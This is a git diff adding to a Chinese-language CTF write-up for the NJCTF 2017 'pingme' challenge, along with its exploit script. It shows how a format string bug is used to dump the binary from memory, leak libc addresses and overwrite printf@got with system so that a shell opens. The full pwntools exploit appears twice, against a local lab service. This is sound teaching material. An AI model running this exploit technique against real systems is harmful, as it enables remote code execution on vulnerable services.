diff --git a/doc/6.2_pwn_njctf2017_pingme.md b/doc/6.2_pwn_njctf2017_pingme.md index 2902c24..2f7538c 100644 --- a/doc/6.2_pwn_njctf2017_pingme.md +++ b/doc/6.2_pwn_njctf2017_pingme.md @@ -15,7 +15,7 @@ $ checksec -f pingme RELRO STACK CANARY NX PIE RPATH RUNPATHFORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 pingme ``` -然后把程序运行起来: +关闭 ASLR,然后把程序运行起来: ``` $ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme ``` @@ -47,12 +47,241 @@ offset = auto.offset [*] Found format string offset: 7 ``` +#### dump file +接下来我们就利用该漏洞把二进制文件从内存中 dump 下来: +```python +def dump_memory(start_addr, end_addr): + result = "" + while start_addr < end_addr: + p = remote('127.0.0.1', '10001') + p.recvline() + #print result.encode('hex') + payload = "%9$s.AAA" + p32(start_addr) + p.sendline(payload) + data = p.recvuntil(".AAA")[:-4] + if data == "": + data = "\x00" + log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex'))) + result += data + start_addr += len(data) + p.close() + return result +start_addr = 0x8048000 +end_addr = 0x8049000 +code_bin = dump_memory(start_addr, end_addr) +with open("code.bin", "wb") as f: + f.write(code_bin) + f.close() +``` +这里构造的 paylaod 和前面有点不同,它把地址放在了后面,是为了防止 printf 的 `%s` 被 `\x00` 截断: +```python +payload = "%9$s.AAA" + p32(start_addr) +``` +另外 `.AAA`,是作为一个标志,我们需要的内存在 `.AAA` 的前面,最后,偏移由 7 变为 9。 + +在没有开启 PIE 的情况下,32 位程序从地址 `0x8048000` 开始,0x1000 的大小就足够了。在对内存 `\x00` 进行 leak 时,数据长度为零,直接给它赋值就可以了。 + +于是就成了有二进制文件无 libc 的格式化字符串漏洞,在 r2 中查询 printf 的 got 地址: +``` +[0x08048490]> is~printf +vaddr=0x08048400 paddr=0x00000400 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf +[0x08048490]> pd 3 @ 0x08048400 + : ;-- imp.printf: + : 0x08048400 ff2574990408 jmp dword [reloc.printf_116] ; 0x8049974 + : 0x08048406 6808000000 push 8 ; 8 + `=< 0x0804840b e9d0ffffff jmp 0x80483e0 +``` +地址为 `0x8049974`。 + +#### printf address & system address +接下来通过 printf@got 泄露出 printf 的地址,进行到这儿,就有两种方式要考虑了,即我们是否可以拿到 libc,如果能,就很简单了。如果不能,就需要使用 DynELF 进行无 libc 的利用。 + +先说第一种: +```python +def get_printf_addr(): + p = remote('127.0.0.1', '10001') + p.recvline() + payload = "%9$s.AAA" + p32(printf_got) + p.sendline(payload) + data = p.recvuntil(".AAA")[:4] + log.info("printf address: %s" % data.encode('hex')) + return data +printf_addr = get_printf_addr() +``` +``` +[*] printf address: 70e6e0f7 +``` +所以 printf 的地址是 `0xf7e0e670`(小端序),使用 libc-database 查询得到 libc.so,然后可以得到 printf 和 system 的相对位置。 +``` +$ ./find printf 670 +ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386) +/usr/lib32/libc-2.26.so (id local-292a64d65098446389a47cdacdf5781255a95098) +$ ./dump local-292a64d65098446389a47cdacdf5781255a95098 printf system +offset_printf = 0x00051670 +offset_system = 0x0003cc50 +``` +然后计算得到 printf 的地址: +```python +printf_addr = 0xf7e0e670 +offset_printf = 0x00051670 +offset_system = 0x0003cc50 +system_addr = printf_addr - (offset_printf - offset_system) +``` + +第二种方法是使用 DynELF 模块来泄露函数地址: +```python +def leak(addr): + p = remote('127.0.0.1', '10001') + p.recvline() + payload = "%9$s.AAA" + p32(addr) + p.sendline(payload) + data = p.recvuntil(".AAA")[:-4] + "\x00" + log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex'))) + p.close() + return data +data = DynELF(leak, 0x08048490) # Entry point address +system_addr = data.lookup('system', 'libc') +printf_addr = data.lookup('printf', 'libc') +log.info("system address: 0x%x" % system_addr) +log.info("printf address: 0x%x" % printf_addr) +``` +``` +[*] system address: 0xf7df9c50 +[*] printf address: 0xf7e0e670 +``` +DynELF 不要求我们拿到 libc.so,所以如果我们查询不到 libc.so 的版本信息,该模块就能发挥它最大的作用。 + +#### attack +按照格式化字符串漏洞的套路,我们通过任意写将 printf@got 指向的内存覆盖为 system 的地址,然后发送字符串 `/bin/sh`,就可以在调用 `printf("/bin/sh")` 的时候实际上调用 `system("/bin/sh")`。 + +终极 payload 如下,使用 `fmtstr_payload` 函数来自动构造,将: +```python +payload = fmtstr_payload(7, {printf_got: system_addr}) +p = remote('127.0.0.1', '10001') +p.recvline() +p.sendline(payload) +p.recv() +p.sendline('/bin/sh') +p.interactive() +``` +虽说有这样的自动化函数很方便,基本的手工构造还是要懂的,看一下生成的 payload 长什么样子: +``` +[DEBUG] Sent 0x3a bytes: + 00000000 74 99 04 08 75 99 04 08 76 99 04 08 77 99 04 08 │t···│u···│v···│w···│ + 00000010 25 36 34 63 25 37 24 68 68 6e 25 37 36 63 25 38 │%64c│%7$h│hn%7│6c%8│ + 00000020 24 68 68 6e 25 36 37 63 25 39 24 68 68 6e 25 32 │$hhn│%67c│%9$h│hn%2│ + 00000030 34 63 25 31 30 24 68 68 6e 0a │4c%1│0$hh│n·│ + 0000003a +``` +开头是 printf@got 地址,四个字节分别位于: +``` +0x08049974 +0x08049975 +0x08049976 +0x08049977 +``` +然后是格式字符串 `%64c%7$hhn%76c%8hhn%67c%9$hhn%24c%10$hhn`: +``` +16 + 64 = 80 = 0x50 +80 + 76 = 156 = 0x9c +156 + 67 = 223 = 0xdf +233 + 24 = 247 = 0xf7 +``` +就这样将 system 的地址写入了内存。 + +Bingo!!! +``` +$ python2 exp.py +[+] Opening connection to 127.0.0.2 on port 10001: Done +[*] Switching to interactive mode +$ whoami +firmy +``` + + ## Exploit 完整的 exp 如下,其他文件放在了[github](../src/writeup/6.2_pwn_njctf2017_pingme)相应文件夹中: ```python +from pwn import * +# context.log_level = 'debug' + +def exec_fmt(payload): + p.sendline(payload) + info = p.recv() + return info +# p = remote('127.0.0.1', '10001') +# p.recvline() +# auto = FmtStr(exec_fmt) +# offset = auto.offset +# p.close() + +def dump_memory(start_addr, end_addr): + result = "" + while start_addr < end_addr: + p = remote('127.0.0.1', '10001') + p.recvline() + # print result.encode('hex') + payload = "%9$s.AAA" + p32(start_addr) + p.sendline(payload) + data = p.recvuntil(".AAA")[:-4] + if data == "": + data = "\x00" + log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex'))) + result += data + start_addr += len(data) + p.close() + return result +# start_addr = 0x8048000 +# end_addr = 0x8049000 +# code_bin = dump_memory(start_addr, end_addr) +# with open("code.bin", "wb") as f: +# f.write(code_bin) +# f.close() +printf_got = 0x8049974 + +## method 1 +def get_printf_addr(): + p = remote('127.0.0.1', '10001') + p.recvline() + payload = "%9$s.AAA" + p32(printf_got) + p.sendline(payload) + data = p.recvuntil(".AAA")[:4] + log.info("printf address: %s" % data.encode('hex')) + return data +# printf_addr = get_printf_addr() +printf_addr = 0xf7e0e670 +offset_printf = 0x00051670 +offset_system = 0x0003cc50 +system_addr = printf_addr - (offset_printf - offset_system) + +## method 2 +def leak(addr): + p = remote('127.0.0.1', '10001') + p.recvline() + payload = "%9$s.AAA" + p32(addr) + p.sendline(payload) + data = p.recvuntil(".AAA")[:-4] + "\x00" + log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex'))) + p.close() + return data +# data = DynELF(leak, 0x08048490) # Entry point address +# system_addr = data.lookup('system', 'libc') +# printf_addr = data.lookup('printf', 'libc') +# log.info("system address: 0x%x" % system_addr) +# log.info("printf address: 0x%x" % printf_addr) + +## get shell +payload = fmtstr_payload(7, {printf_got: system_addr}) +p = remote('127.0.1.1', '10001') +p.recvline() +p.sendline(payload) +p.recv() +p.sendline('/bin/sh') +p.interactive() ``` ## 参考资料 - [Linux系统下格式化字符串利用研究](https://paper.seebug.org/246/) +- [33C3 CTF 2016 -- ESPR](http://bruce30262.logdown.com/posts/1255979-33c3-ctf-2016-espr) diff --git a/src/writeup/6.2_pwn_njctf2017_pingme/code.bin b/src/writeup/6.2_pwn_njctf2017_pingme/code.bin new file mode 100644 index 0000000..3b94600 Binary files /dev/null and b/src/writeup/6.2_pwn_njctf2017_pingme/code.bin differ diff --git a/src/writeup/6.2_pwn_njctf2017_pingme/exp.py b/src/writeup/6.2_pwn_njctf2017_pingme/exp.py new file mode 100644 index 0000000..cd50570 --- /dev/null +++ b/src/writeup/6.2_pwn_njctf2017_pingme/exp.py @@ -0,0 +1,77 @@ +from pwn import * + +# context.log_level = 'debug' + +def exec_fmt(payload): + p.sendline(payload) + info = p.recv() + return info +# p = remote('127.0.0.1', '10001') +# p.recvline() +# auto = FmtStr(exec_fmt) +# offset = auto.offset +# p.close() + +def dump_memory(start_addr, end_addr): + result = "" + while start_addr < end_addr: + p = remote('127.0.0.1', '10001') + p.recvline() + # print result.encode('hex') + payload = "%9$s.AAA" + p32(start_addr) + p.sendline(payload) + data = p.recvuntil(".AAA")[:-4] + if data == "": + data = "\x00" + log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex'))) + result += data + start_addr += len(data) + p.close() + return result +# start_addr = 0x8048000 +# end_addr = 0x8049000 +# code_bin = dump_memory(start_addr, end_addr) +# with open("code.bin", "wb") as f: +# f.write(code_bin) +# f.close() +printf_got = 0x8049974 + +## method 1 +def get_printf_addr(): + p = remote('127.0.0.1', '10001') + p.recvline() + payload = "%9$s.AAA" + p32(printf_got) + p.sendline(payload) + data = p.recvuntil(".AAA")[:4] + log.info("printf address: %s" % data.encode('hex')) + return data +# printf_addr = get_printf_addr() +printf_addr = 0xf7e0e670 +offset_printf = 0x00051670 +offset_system = 0x0003cc50 +system_addr = printf_addr - (offset_printf - offset_system) + +## method 2 +def leak(addr): + p = remote('127.0.0.1', '10001') + p.recvline() + payload = "%9$s.AAA" + p32(addr) + p.sendline(payload) + data = p.recvuntil(".AAA")[:-4] + "\x00" + log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex'))) + p.close() + return data +# data = DynELF(leak, 0x08048490) # Entry point address +# system_addr = data.lookup('system', 'libc') +# printf_addr = data.lookup('printf', 'libc') +# log.info("system address: 0x%x" % system_addr) +# log.info("printf address: 0x%x" % printf_addr) + +## get shell +payload = fmtstr_payload(7, {printf_got: system_addr}) +p = remote('127.0.1.1', '10001') +p.recvline() +p.sendline(payload) +p.recv() +p.sendline('/bin/sh') +p.interactive() \ No newline at end of file